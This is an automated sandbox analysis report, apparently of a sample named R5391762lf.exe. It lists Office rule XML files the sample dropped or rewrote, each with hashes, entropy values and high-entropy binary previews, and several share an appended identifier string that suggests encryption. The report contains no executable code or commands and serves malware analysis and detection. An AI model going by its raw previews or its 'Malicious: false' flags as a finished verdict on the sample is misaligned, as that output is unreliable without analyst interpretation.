SHA-256:	60C58D196ACEF76ADF3FDE8A1B563C66CE02819D7D632B220EF141CA33176AD7
SHA-512:	ECE0AB50A99E46E8439DFF7AB8161BCCB524F4E5F2834BA5C3C46826ECE15B651CD9A6D62EB398B3796D80E361224ED432E9268D9C99EC8A7262734DA0D4C663
Malicious:	false
Preview:	<?xmlZ.k..pVdj.o..`Vz.Xe.30.L.......X...8.z......a.......\.eS..D{.. A."..(...OU....:.S..6...K..9F..>.B..&...Y.nI4..........kV}&.....4....".8..s..E.c.8.l.:W.Ni..\@/.im.I.+&/.A..W...)+......Q..G.n.G.2.7.g.i.....b......W...gY../....4[..<Dz....D.Mg=........R...l<.eK..........."8$]....r......?.d."l.I."....4]........5.Y\...N..Y...Z.T.Fw..........,$../.k.,.T..,...x......x..I....hH.C.s..z..G..z%4.!...Z.m...{..$q........wS.3AW..v..p(......1.U.wv..1....._.G..<_35.'6..y!....._...-].%.#.gW.....`..%.....b..V?.3,...`Y&...y.U.q.q.#.....V...V..f<&.]x.N.=".niu.\|........."...TH..%...A....n..m.G.=tj'H.(j.Zj..U.}...{.C...I...n..'.8..I~@..z(L..0i?....}..8....!.mS..h........".vQ...z...v...Z>"....J.I~.K-..I.8l/J..kJ)p...."'.....^+.}"K.w?$...^D....N_.H9.Ir.(....:.[....&^.,....oV.4.n..Q..}.$.\...D:....E.G.,K....u....k"r...l6..Mx...v.8.t..R.\|..L...l....hr...p?..mR.i.....S.'E._.8.x@.F..B..j]............M....>oy.u....P.CD.p~......A.6c......q......o..\....X .{.WF

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule120600v4.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	3314
Entropy (8bit):	7.94628085641214
Encrypted:	false
SSDEEP:	96:yApjLRuWwh8W08OP1cRRDwQARe9kGXBFuQ:yApjLIWwAbqRDwne9iQ
MD5:	CE946435DB6883FD2FAF81E6AE6B3E75
SHA1:	D820C7E189B585E342F340B6CC5BF55EC19E963D
SHA-256:	F5C5F777A059819E5C913DB296C68D00E7E74BE4F42AA4747089C97EA45D6E1B
SHA-512:	E9C3280EA48295DE56095BE429FD745C275AE126B87584DDC150795FB6A74231B18591CF90E08C6ABA1974E4E428F249A3946F722746F13F636E2E9CF13B0744
Malicious:	false
Preview:	.<?.e,...V#...x..g...."4<.rS..@.\|.g.g...T...e...K/..#..0...}X.,nV$..-.H.........y...ot(..#.k.C...=..G....E... ..8....AZ^...c.g...A..q0_.^...=......:...19..V.Fm:{.....<..@...I]F..`.y.k...K...v.\|qu...MH>.`e!.@l,7..\|..N$...)........dJ....op..d.eC.....Me9.....B.!Rf\|..#...rfjh]...8.3....>...-5C.bHn(.9......g2.tH.....i.Y....4..o..n....).......h.e..:..Q..n.`.'.}.UmS.........z...]..s.5x.>.........<...5.%..\|...$....,w... j<Lm.H...).o...?..O..P..H.'.....t.TW...p..y}..b........D..XF...x.y......\E.[w.}.........Hk..CiOp.T.+7.....W..@.o..l7.Rm..t........&-.p.5JU.?H......o.<^......$>.(.A.&~..!..>..GRY=..V....)....9t.P.^Y.S-....1.K....o.9_....;@&;.df.!...[.?F..-....b...`....dw...4u......H.f.#;z`..;....Wr.U...5........Vn......I....x.6..{.&t....K......V...........o... _2..T..AR...........Q0....../.[....I+..0.~...."..;s-(....$....D-..&.]+...7&vT..]%.j.....#...._.A.Y.+CW&.....n...7%I2.5.F#...r..k}...c.._6.<j...xxj..4...7.../9o.;Fe$.+YvL...;.....&.

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule120608v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2494
Entropy (8bit):	7.935649474953661
Encrypted:	false
SSDEEP:	48:Nc8EohB6eJQoRumKPWESHoXBhiaR3YfK5NVty2MAx7XFuED:N5Eu9JbRzKPPSHoxhi7K/by2MuTFuQ
MD5:	08FF80280A26D29C387BA243552E30A8
SHA1:	A80C87A945E4F55F2ABA7BAE309F807B775C9BAA
SHA-256:	70D69C5003FAA8BA33A33746E3EAC51806974280C42286D830631CC671A165C7
SHA-512:	68493F6C2A6CE0A09E890BF7DC1E3DAAF1CA60C2C68CEFE8E907B6022FE689A5F2C25AA4453B58594AF9F10FAD09E723F1A095C60482548E722C2AA7D7BAAF00
Malicious:	false
Preview:	.<?.4........C..p....%.B..0.3K..y... ..}.R.J.U..p.1-L..$U....D8...f.<s..5u...W.\.%...j. .o.Mk.7.k..ww....Ow$.q+#._.I.c..CH.1.Aj{...fP.J.}3y.]..q......p.."...........^..ODk0py.B....8cH.\..h..:.$E9+.hb........:w:.....Ef....K...C/.\|.u..&u.T]...^/>........o...Gb..A._..;..}..n....x.P./c.G.S...,x. +:F.[>_L)Z........25\...]......TdK#7I7.)......._...."$........m...I/.y.l(1..;E..X...y....m..$.i.,...SY..4:.j.+..@<6z8.!X&k..}..q.M.....A.#,k).X.N..>"...+.E.Kk..-\|..R.....A.$....q.,.e....Q.db.2.Y4].......fA..!...r[a.#bj....p...].....;c.Y(\|.=\|..^..q.`g....^q...;..z...N....."$y.A0}...0.{!)..l..2=.'..o..t.4..[......Lc..`..n..61}bk'...x....P..,.b9.4%..1.tf.^...YFYeX.O...D...%o.C...D."1...5,....f....,..>.q..2G......v.....v...=.(..K`.Q..,..O..X.....l..J.j.........\|...0=....@U].i\.....l..Or....sJ:7...XJ.!E...QB....s.U!.v2$.m.....{....T..M..+F3..'..W..&.....w..8IR{.=................U2...6ej9E...R....k....F...`x.~....Hf..Z=.Y....s..B2.x......v7.c.....?

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule120609v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	742
Entropy (8bit):	7.72378068810523
Encrypted:	false
SSDEEP:	12:1/ss8XlA4BvVUTjyRyFTRzhAmV3Is9WaQpab0JOjfiQSrEJE34DU2sytPzPCJDu5:d+tUny2zW+3D9HQpl4Or66HYPCAXq8uQ
MD5:	19DE13F4D3CB54F5BDDCE7AAD810390C
SHA1:	9F8BF279D058B06FA129729E087BE1D2AB552C91
SHA-256:	B1D8C29A7D6B74B0314BFA280ED06F7FC0C8E896340FD698C2D179EB9F0EB860
SHA-512:	43580FFA39DFDC56D8438F53120C1DA21150B5E86FFF9D3F048DA10AC539DA2DED24B72B187771F0D7768E122B310D0E343062870B5A1CFC1CC9E4934B3C3D81
Malicious:	false
Preview:	.<?F....~.P..D.#..g../.o[.X.Q....q...g... r.x ..O.....eM....E.n..^.l.Ji`.x}.!.}.=..z..Y..jJ)D...b...F.cX..+B.2E.u.I..'."+.IjS.a......Xg.q9.}.P%}.X.Xx2.F>..R.>.o..V\..,.."..;,....@..R..v.g.5.d._E#.wd...q..T....Y........v)5.`&.....%I..'L....OK%]...}-..U..2s%.4.A.m.x/..,.......5.d.4E"F.....a..+..l.v...w/%p.s...ZjYT..e5.[m......r.W..l.d.1..3.c..K.....[".(.....?4p..l[H.Q?..<O...6n....=...S.mP\|..lJ.r...Y1.../K.h.L5.p.JT~N<.r..,!l?p.....\..........(d.z....u.....O...Nt.Op^?Z.....c.$.3..v>].W..L.:r?...W..P..w.......W..V"fp.......cww3j.!\|....5vA.5...................Q..........g..~N.g.T+...GU...........N.I,...46.*t,..W..).<doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule224900v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	776
Entropy (8bit):	7.715002521628441
Encrypted:	false
SSDEEP:	24:pPKaHSy1e0kq83kUcLEUrfmZZvHueXq8uWbD:/SyJ83krE7zOeXFuED
MD5:	5AF2AD7FC9B17BE0D2541E453057691D
SHA1:	8F51DC5DDCBE66B6D563F761BEAEEDEB1CCA0077
SHA-256:	502EFFF355F25BD5136EFB2735FBE83902AEFFE9DA29A58968AE9AF7BCAB57A1
SHA-512:	9C01A3C8AD92786123E83DF0F671D85DEE6BDC68D44DE90BD300CE77CFB668D5427C87F5D7239644D45DA1846EEAA7E18B84153475F595DC0289EF09E3CC29E2
Malicious:	false
Preview:	<?xml...X...#F&..a'j+....(..Rt..0a..7x..xC...iT+?...\.z.-..g.J.........A./.%I..6..+/z...@A.eG=.............~U].M4..%.j.3.(.._.&.ShZ...sj..U...p0e4.........D...x..9.{....p\.s....B2bM......#}.+....D.3.W.[..K.....X./.S..s[..P8_..ZP.7H.'..C....%...~..K).4<.5..U.Uv...8 h....w9...(.Lb.n...D......)g.HQ?8{..ob....z-....../.2.3..A....]....u+.....8......W.F^q..gxS...F.\|..x..........y.U.z.y@../.<.J8Q.......=.Uow{ .....g.e.....y=d]8...a..{......9..O..9BQ.....Rt=..N...].y=.'.[R....fX.{......Z,.D..X..^\|...U..Z......U.<%.7.......y.: ..........<..$..g.....i..C...h.... z.;g..H....pf.U./.n`. $>D...j4.....l....].e..N......jW.3$.M...!`*..f.)(<!.+.5./_.y.TD.r..r..-....~...doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule224901v11.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2617
Entropy (8bit):	7.925087541248268
Encrypted:	false
SSDEEP:	48:zJHcyFSz/JXBVMgAmqiCjU0Zjiwxc9DyVrYgh8BFpiqaHxATdq+GPSyOVtNOQFTO:zJP4zpMgAsCI/wxGDyagh8IqMA+PxOVS
MD5:	4D3FC936809270A5DBBBF58613184544
SHA1:	ACC5D13DBAD5140B3F4B33DE690D29497DCEFE2C
SHA-256:	03F8B87CAC4083C794D5525859A87FA4C33A86756C39A814674B09FCA9FF17D4
SHA-512:	91BC83CB77840C81EF62E73C696C97EEAFF642F04422E5B06A6F52FBA1A9F24DE701552B7C1A66457A6E0ABEE787F20558572F41C420B04E8DE4CE9ABABA61EF
Malicious:	false
Preview:	<?xml......_K....N.{N#..N................0.k.7.%?.....xHCI..e..Ho2......9..ZY...k.i....p.k}4:....Bu .\]..I..}..o...&....s...'..K... .Qu..G6.Y.....E.7v.......9.&t.Y..1.N.+kF5..Q.3.z\|(+...D........ro-.Z..X.m..N.t.Ht[^...'to."...%...]...#....#w..9=......O..3.DE.{.....X...,.'..../...^..s..kX.c.8;.F.!Q^..,.].."P.7.........(...\.].Y.n.....:...ei....(.q.Au..._..M...[#.z'"....>....v7..U}@\M...G V$te.n.N.&e...tY...@$.&.sT..g\..D".D.......j.Q....a#.J.S..D.4 .^.P)Y....i.z..h.....E.K..A0,....L...}..g7x..Q.`}...~oh..I.....6Xb.].Q....a\..IV.w...b....BM.....pT.sq.......5.I...5rin.H...I...r.}.;.....zH.=..U.H^P......!...u..KI.......9..RQg..x..z...'.)...k.>..Q.Ee.e"...nx....h5x.......W..]H..M-.0b..#.&....)W.....p~=...c..=.Kg..n'..DAN...M..3<..S.w.2@M.6b.V.i...M: .E...d.6.e..o.aj..X6D...^x`.L.g.....gq.,w.%.w...q.i.t.A6^...O3@..@..@)./.. ....).(.K....%=..."QQ..a.m.K..'.fN.y.>...8...{.J....1....%7.}..g..b.F..Qu..b.<3..4...-.....1.Y.+.....

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule224902v2.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	783
Entropy (8bit):	7.659359784263146
Encrypted:	false
SSDEEP:	24:zsIsHGEQKkefU1XjxFh3l8xFDhEPCXp2JHeYQQAXq8uWbD:zVsHFJczxh8EPCXpuEXFuED
MD5:	EDF13CD811D611B628ED0BC0A5B05ECC
SHA1:	156DB57D2F2B9DECBE65E2D499886D3C93CCF799
SHA-256:	DBC1DA7AE43FDBB56A108A47F92FD22B40013E1EAFC5D12560637A583FFF4C56
SHA-512:	038ABF361AC3EEC9A7C9780F3002E2FD59C7B39C1540FE4ADE7BF2CCA79347D1201444A8DAF8466AF17DF84C6C92C6039A2F537189C636CEDA41B9EE9AF972F4
Malicious:	false
Preview:	<?xml...o.C..../..x0...NVm.l.....e....5P....Em1.."."../\...`...V.'....4.rH...5...c..WU......R.;#f<......9a.X.zH.CD<. ..c]UyE.M2...3....0....c^.......0..W.?..c.$...^t.P6...,.N.9L..#..........3...r&.r]EU.a5DP.`........u..\|px...E.....Scr.. .......$...;;.Bg..:.....k.......6.....=...?.9.....K...6.....@.....dy.g...o.M.....q.%_...X..L'..k..\..6....9.........C.I[..B.....u.H.?.W.F(2.=ab..Pa,.:t...}\.xr.B.S..#.:.m.9....l4H........7G.%9:m}...[FO...M..lv..Kv.v..SO.).......5\|.....JLcw...E...\.z...1j.+.6..-6'B.....q....F*.W.j......=....G....Xg.r..zC....(.W..Q.....C0.0.........t..jk.D.. .{.BN.D.G.X......\.N.\|l.6.'......z.F.o.....N...V[...d.n....2....\.PRix..r.8.....M.v..s...V.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule226009v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	859
Entropy (8bit):	7.716150425527718
Encrypted:	false
SSDEEP:	24:htDpJoPfHxD0smDX96XSO9md1xqIqXq8uWbD:hlp2RovDX96CO9qoFXFuED
MD5:	BE9C50B04A1560CB251D22D21566948E
SHA1:	29EE96F605256B7C52028D77A955D7F6590E0ED5
SHA-256:	2E2F46EE007839DC1506B6358C8DD0FF38EB2927B4BEF5933F3A2260C007DA4C
SHA-512:	4ABD574AD9062AD19F2F7E822636B3F866827E8AE4FC5AA0E5F218452A80E970A7ED618BF9A2A3C771B4EBA2F2E9249D49CC21EDEC32580AD733D0966CF5E56F
Malicious:	false
Preview:	<?xml\|X:....<.Y{FY\|.....[..T..0.l^..2Qj.....xb.QJ2{.2}.r.Q.W.n...1s._.u^..h.......P7...i".Z. ..J54.H..@z..e....Vs.%....c..`.F..a6p..P./.'5{.G.B....9.yE..F.Xp$..I...H......0.M......_..m.g.m"W.\..........6..s.........W..%....o../&c......f%......jyn.ZD(.D..zypG.8....nkB.J........<u]9....e+...}....y0.W.......K..0G..wE....SF.f..BDt.jA..t@2^..R...=2.<).p..V...../q.\|............;..{y....O'..8.o.&6&....O...B......P.=j.PI.r.8...KZ.`..q.........f.P.._>r......,....r.6zl...?.p...2....LduB.{.....`.g..^..c...t.......(..to.K......2TFC.o.3..1u.R.d.\|-r...-r..yu....4.)...W..Fr....-.g..WTz..V..]B....Pa.l...n?..r..)j..e..eaa. .O;9.INe.......;,...7.\|B1..~....k..;.g.{...c.q.(9..(%_..:q-Q..s...1o3.f..+L.Le.'.m..w..%S..B0b2.O.h8-..S.\s...8v..j.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule230104v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	3147
Entropy (8bit):	7.9266156279278395
Encrypted:	false
SSDEEP:	96:4LBquRu97wDuDr+oa3Os7nwE3yl1z8e78EFuQ:sL67wDuDrSOo3ybIfQ
MD5:	0AEFA2A9A13BBFF194B53D9958063822
SHA1:	DA7BBB86D83D2630AECA76A60C3DDFD76DDEE4D0
SHA-256:	BB1601AF02BC2F51F653F340709AD9EA02C91623FF3965B50F639DA344142C51
SHA-512:	E89C8D0B543A5D21AD5BA6A14733F5678C1B763EA92B578748C3D3F9B66914E06FD1B448F1EAB3461DA8F3A8932934D11790E03DBAD0B475D0E74053AACA0EDF
Malicious:	false
Preview:	<?xmlBO.g?...@....7.\|.W.f.x.....iz..x.>3...Q..?...0....GAW=J!.p\|6)2..+.+?.m.\....<.N.0..>.F.D..vx.9.}$xe.R^....Dv.Y4.i!.K.h+<.n...N'7.1w(i..Mi_...........?...B><...qV>.n^..v.).t.!...n.ul...rU.6........7..H..<._..Da.....w..V./.]..)1.....\:.n...".....7..-l.s.<\|.F%"b+.QOx.n,.V$...%...m(...:......t.o...Z.y.9&b..-H^........?..7.'p.d...@i^......a..0.~j.....<..g.A....N_.,.....4...7.Q.........>..C../1.....n.....\|.eH~0}H...'..D.B...H.+I}..,....=ua...lF%.R)..He....i.h..'.]'X....].^....s....i4Y..G...4.P}[......,;x.p..W..\.......).6..B.....m.K#G..LE.......e..E..(M.z.H;Jz...{..f...M:...~...m).g..{..y..6.......^.....j..s$..6T/.>.N.............s.".~..d+...2...6>..v..c..w.0:-3......"...^...Mi.v]..Zg..Y........}..a']..c.........D.8.uq.?..t.+..o.t..z.`.......2].3q.]......n.5.S.V4MT.47..#."F.\..n ....m....f...p[.(.W..S?.G!....@!..n.m.. =.....NfA..[.......Vw9..)]........y..n..]]....n<.W.g..#.qk..a.y....Z....fC...Q.....M..MK[c6./......`.4T..4.....

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule230157v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2237
Entropy (8bit):	7.9066935188043255
Encrypted:	false
SSDEEP:	48:7XzRLwkTGhXF4dSjb5DGYI/lCE5Ut+cI1otk6m2G2iI4F4vRXFuED:7XlRTMFr5Q/lCYUt+Mk6fG2dhRFuQ
MD5:	B9CEA6AEFC30517D88A652E2DF7FD037
SHA1:	2B19B149371A22A1E08E704739F4205B6B5AA5A6
SHA-256:	7DF58054A9C842A239249373E25917987AA63EE31D85C4C7FDDB3A1F786F78E5
SHA-512:	006EFB3BD827D5C62772BEFE169AE692CD90442103C12FF62D1632AC4E333B2AD1D6CA26AEB8B206763B1684A31800F99052EC067B169B6972D7E39B46005F99
Malicious:	false
Preview:	<?xml3.`^..M9....,...,.....M.Z....Hc`..Z.5E}(... 2t.x.......i.#.DE.x...2.7.1..F..AL?f.d....=....$.$.".L..(...."...S.8..gU..m......;.8.Z.E..2.....lS..........y..MV....#..w..5.3.R...Y.}...Z{...G....`k...._....6.7..f.....L.nG.2v....z.m...B.C.o.....].#....P...Gr.&-gOr.:.MC3..V.1.`{.f..O..jhI[5&.E...?..L....E..sV...BJ..:..p...A.5g#...{.....s..1T.Cb......AH6.9..z....X..{,.si.[.'...X..p/Q....\w0....$p..,.]!f9...r.1.).T...M.3.z....H.=.~..z...x.4...!9.j.5,gl-.K.]....~....7..v9.8.....d.....q.{p.S..[[..p..;.{.?rP.(B3:.......,U.X.@....`+.P]..1.[..}[...!j..3.(\|.q.G.3.F.Y.....D."G@.{....0GddZ.D...6.A..#.s7..*shT.&i5..]....\|....\|.T..q.W?....j....nD..\.K...`.7...`3....a...&N +..KN.Y0%<..C...0a....".c....Xy.I..cL.=.Xu.x.{.h. ....-Uvf.J...H@.^.Q.....I.J...L`0.....di.....@8.&.p<5.U(..4..}.....n.=..tS.....cp.ST.ETA..9Vi.J.......b3.0.........n.M.......@...\8../.N..2". /n...h.xw.....C......VUn..Hd..A.......I...........7&@...u:.w.....H..M...".u.jg....

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule230158v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1924
Entropy (8bit):	7.886841631751378
Encrypted:	false
SSDEEP:	48:34icqcW/Z/PSmdDAjkmh/9ZcISV2o4CyHYUKHkXFuED:IinpSmRA/cISV2/H1KSFuQ
MD5:	AFFCAC10E6B2F821AFAA5310784FE81C
SHA1:	FA6D7D1986606850B06BE0A68FC1B039B2E12E60
SHA-256:	41B935F305D6D9A2F7D4068CCADB5236947287307C8F520A72E85980A37517FF
SHA-512:	4511EF5F1BB5D4D92FE58A9BFCA89C59BB4C2041EFF513C7A72032DAAFE17DB2FE7D2680A4A7FC561103C14912A14CD380830E120D4AF35AECCD61EFB17B6443
Malicious:	false
Preview:	<?xmlE8.^Lp.[../z&...86.`.s..F..Q..G..R...J.q%...d....;.@z....7@..... 6.0...f...."..W..i..Jq.5..Q...@...G1..;.G#!\|.;.1...W..Z...%.3r......Uo.<"Y.ckA...d4?.,.0.]?..../..Pax...U{...AY..+....3..Y(....7....0..b.w.w....\ru"4.(...!;a.2...u.A..=....+...c.@yN..Str.Z.X.=.8g...........=.<.3g.g..).h._..w.gT._.3>..Ug$p.."...Cyt6....2#..6T.Z...W.\.....y.......H..;G..X6..\....[....Z..h.....T......+.;...7...M...h....[r....hO...=km.yI^...........P./F:....H.Y44..hkSc6..88I...e....y0.......}....-+........~+.i..9..}.......4.h..q....^...Y.)..04./....+c.i.b?.,.u..i....jlq...z..I.8...Qi@....(m{..Uo...?'_[......u.rg..d93...B...T.Z...K.l...5...I.i..l]..y.).g:<%..c1...h...[..#.v....bz..~'.IH.N\|.g...\|.w...\_.:.....oh..7....O...F...c..0P.:tj^.2..:..$\qTs .hC.....nQw#.%l:U.P...6L..Dv..!.^.....&Y..`..y......w]"..+...=...Bl]..H5.g...z..3..?.~..]...dH..@l....8...0.Z7...W..N...............B.6.) .......$N..~.Z.....Ij.n.!.^."b.....'y.bU.Rv5W........"...]d\X..4..D

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule230162v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2020
Entropy (8bit):	7.909362767708453
Encrypted:	false
SSDEEP:	48:muXfzRaxd6wHJkr69/0vAQmEmCMqtbHLx6Ce/RchGqDXFuED:JPzKHRN04amCf7F6CaVqLFuQ
MD5:	00A4CCC3D69FFD2725640D1A401E0E48
SHA1:	CB613E09041A49C84E70DE9701C4159176384978
SHA-256:	EE3F732704A4D8F15DE003E51CE0C0037FE33B62CA2E8716DECE4C75A46D1E8B
SHA-512:	05F9D65911C296D99A583440365D2A0B1556E7621F2E6AE29B922AF7F65333D47B31F5A7265E24A85BF008BD846CAD07B6707D366BC054905C357C3AABF1BDE9
Malicious:	false
Preview:	<?xml.#....#K.8y.$\|"H.".........B.........,.e....5...;;.bp2.Iz...Z@.!..4..q.(..0..=[.........\|..1x....J.........^T.....frw..PP.....G.8K.s...1.......3;s.w.k...?...?Se.\ X.Ju^.E..\.......h..........~....."4.0.._.w.Z#.@...".#....z.~j.+."..K~...WN)&O?_....{%.F$....l...3.........2...r...5.../.9.(...l. ...64....w.VHDH.,6I..R.=.M......`g9.%..[..Y....~8H.l...K./.U..$Y^.f.h...q.Zm.,n8I.......Jq.n%V...3.Y+WI.\...<.cv...5N.%lX.t.$xAbPP..)...O"......n).~.>..D....../Y.....5s.x1....>...Jf-L...y.@.R..6`b:L.....3....>..xQ7.XVH...q..p&@:G.Y......&>.....i..I.&..].`q.:o..h....2.._.g.....}.}....$.]\|.$...f.dt.A..J....4j@..1....on....Ws}.4W.q.n..3."..(....L...L7.3;Ov.M..{b..h........l`.t...M-......_.5..E.w.@...[...9...>d.q.N..cV......w~.Vh.j.i.......X.?S.)..w\|...G=.O........I..MZ.m$bP?..:...X.e...Qr/e.mg.I.Jj+..lK.<*.U#...f.O..0..Iq..v$..NN..n.[:..J....s.............QH.]n.'......:T}~.?i.`9...F.!.4O......K....Q..u.....\........6...A..x..BF..."..e.#.....X@

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule230164v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1186
Entropy (8bit):	7.798189348677763
Encrypted:	false
SSDEEP:	24:GFW16V7RSr1taxnMB0SV1pi4qQe+6ia93MvtDIOXq8uWbD:GPR21cxnMB0Sfs45AARXFuED
MD5:	AC0A1A084E8772282165FE377E5BA0C1
SHA1:	76ADAE37DC0DB6270B1A2667FCD062AB12EB5179
SHA-256:	47EA91167EB538B85510912BEFAE8AEE3B1F5701BC709CB87A43CF3BF18EAD15
SHA-512:	A27F721D42E729461F9820A5423D23FBA89C88AF5E63E597EB00E9548B1ECF3AE72B399712D7FD4885671DF9A83DD3884C4F16EF67C266D30112BE689C25BC13
Malicious:	false
Preview:	<?xml.....W..=..zt....\%0......h...JW..&b...YQ........7.s...\..\|.wyb\|...dY..W..&.:..)?B.wp/I...}i.-.E.....^..K.V.">.X.A~.@-.#..i..+..[Q}../...9q.Z.B.....3..-Xp.......h....<...m.y..D....A..D(......G....[.a..z........k..u$.V...u...<.{.\..Y.....@...R...i.....f...!.6B,....I...^ ...x..I1.8..^..X.p.v[.$..Ez.]...2u..`.p.22....>H.XZLV....Y......C.~...._..F.3...;c$\|A$.}.....6....3...~.........pP./.30.k..."..?.&.&xr......8...H.]...{..Y...........x.C....K...e..-.uR ......>........k...Rb...P%.1..S...+.}.w.........o6g.T.[?.S1u...B...#..Q.Ac.p.9..+R?'.....Q4u.._..h.Q..~P......yEj^t..O.... K.[.;T..5..$6.p.T.^..@:X'.s.=..P...<.5L<.....-..t..=iV.......f...2jMy.}...W7.$+8.....?(.%..AH&..9=.....J.\.s...Kt.?......k..L...........0=K.......D..,.rj.K....}...=..g.w.R..$..{....(..(.p...>0....Mt..E.##...hKdo....dj.%.....:.?[]........[..%......8}H....Q.qb>....j.....5...y.I`}..zB...;d.......lY.5...^+o!U./..46.jJ&.C.M<..y)..k..t.\|.Y..3D.B..$."...

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule230165v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1182
Entropy (8bit):	7.84006354806968
Encrypted:	false
SSDEEP:	24:m8ucJHlb3L7JTkygOgf+3WsvKJbmyteDHoHTC4C0FPMnAe0CzXq8uWbD:mclP7JThgm37Ktn8HozC4CaPMzXFuED
MD5:	1E9C1605CC9834B54AE379EE7294E338
SHA1:	AD18CC3368241F48C89E0352F7C46FBB1D1AB52B
SHA-256:	5DAD7C8CEA34A10634EED02596A50E631DDACEBA587E548F6EC7AD7D14002621
SHA-512:	263C1B8A77E0D54B874F39985E9046CA4404CAC83D1991463A810A42C1CC705025BA1E35BAEE027C993E947E756E914E89466D829BBFF04EAF1484F8576ACB1E
Malicious:	false
Preview:	<?xml:....2.%.<.(...r...vO.4.N.b).}...r.....a..}.......>}.2..!..<.F.:Wg'.....I...<.d.H.84h.pg.R.Nmk.....'.:m..\|H...c............T......%.l.&...TD.fZ..Q.K.hK.\|I;2.8.?.......oz.e.>p.0.........0.0..I!..........-n..........`m..a.$.......H..$1.R....WZ..Q1./.'o...(...6.L.k.A..;q.m.-.............L.>>./.l....(....DH7Q......./X..c.BJ.....`8...[.3........p'0hP....)....YN.X.e.....8..K[..n.M.9...qf\dDk..K.yg1..h.bu......... .+\.....X.DL.B..e..RT\.....\.w..U....>lwf..Fn..oc..:N.D..m:Q..w.x .Y?..[5@.4'2R.]......,]......".T.ih.X.C.....`j.<MO.{.2.T.Q...S.{....,.<..7sN.1h.........sJk..B.._.mP$;.f...0#..x.P4.K-.v.....1..QC.G.y.f&.............A6m.,..X....O..=.=Y.e...y..S.`..6@..A......K.w..e5..wg....}...m;.p..#.......l.6...x....'>..t.lA..%#7..ixQ...?./F\|c./=b..NA.....R...x.{....PE... ......"........L.+r...y...)..o..9q%]....\.q......_n..3u.08....D.......-$...19..........I..9..{....[J1.,.....e..7.E..p..+_s..?..<.;.}.....f$...9?.k.V.\|.Q....P=..'h.

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule230166v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1100
Entropy (8bit):	7.834776924639486
Encrypted:	false
SSDEEP:	24:8w5uxB21OcMVawItsa7L1z7CGZLy4USitCWAUjtfBKWJkzXq8uWbD:h0B2VMSsaAGbitTAUjhBKnzXFuED
MD5:	E4DFA790D5EFAE039E40D20A8E5D1E3D
SHA1:	DD1E7050D9ADE0CACCC797BC8B489E0C87624440
SHA-256:	5E1C4EF7D5086B96C6F4F733093667CAD2A90D871B1DF2612D4D1E0134169E6F
SHA-512:	DD3FD2F8CCADF148806E80FD549DFB686A470B3ED61063B198B53C560A90E944DA383B5A1EB83C96358A879E45E1E29DF86654369C8D5124199C5C8C9BA58D32
Malicious:	false
